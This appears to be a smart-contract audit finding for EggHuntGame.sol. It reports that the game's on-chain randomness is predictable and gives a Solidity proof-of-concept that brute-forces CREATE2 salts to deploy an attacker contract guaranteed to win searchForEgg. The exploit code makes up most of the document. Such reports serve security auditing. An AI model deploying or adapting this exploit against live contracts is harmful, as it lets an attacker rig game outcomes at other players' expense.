A cirtical vulnerablity in EggHuntGame.sol allows attackers to predict and manipulate the egg creation prcess by calculating random in advance.
Attacker can calculate this random in advance and mintEgg with 100% success rate.
Here is attack detail.
pragma solidity ^0.8.23;
import "./EggHuntGame.sol";
import "forge-std/console.sol";
contract EggHuntExploit {
EggHuntGame public eggHuntGame;
address public owner;
bytes32 public salt;
constructor(address _eggHuntGameAddress) {
eggHuntGame = EggHuntGame(_eggHuntGameAddress);
owner = msg.sender;
}
function exploit() external {
uint256 currentEggCounter = eggHuntGame.eggCounter();
uint256 threshold = eggHuntGame.eggFindThreshold();
bytes32 successSalt;
address predictedAddress;
bool found = false;
for (uint256 i = 0; i < 1000; i++) {
successSalt = keccak256(abi.encodePacked(i));
predictedAddress = calculateAttackerAddress(successSalt);
uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, predictedAddress, currentEggCounter))
) % 100;
console.log("i", i);
console.log("predictedAddress", predictedAddress);
if (random < threshold) {
found = true;
salt = successSalt;
break;
}
}
require(found, "not found");
bytes memory bytecode = type(Attacker).creationCode;
bytes memory initCode = abi.encodePacked(bytecode, abi.encode(address(eggHuntGame)));
address attackerAddress;
assembly {
attackerAddress := create2(0, add(initCode, 0x20), mload(initCode), successSalt)
}
Attacker(attackerAddress).attack();
}
function calculateAttackerAddress(bytes32 _salt) public view returns (address) {
bytes memory bytecode = type(Attacker).creationCode;
bytes memory initCode = abi.encodePacked(bytecode, abi.encode(address(eggHuntGame)));
return address(uint160(uint256(keccak256(abi.encodePacked(
bytes1(0xff),
address(this),
_salt,
keccak256(initCode)
)))));
}
}
contract Attacker {
EggHuntGame public eggHuntGame;
constructor(address _eggHuntGameAddress) {
eggHuntGame = EggHuntGame(_eggHuntGameAddress);
}
function attack() external {
eggHuntGame.searchForEgg();
}
}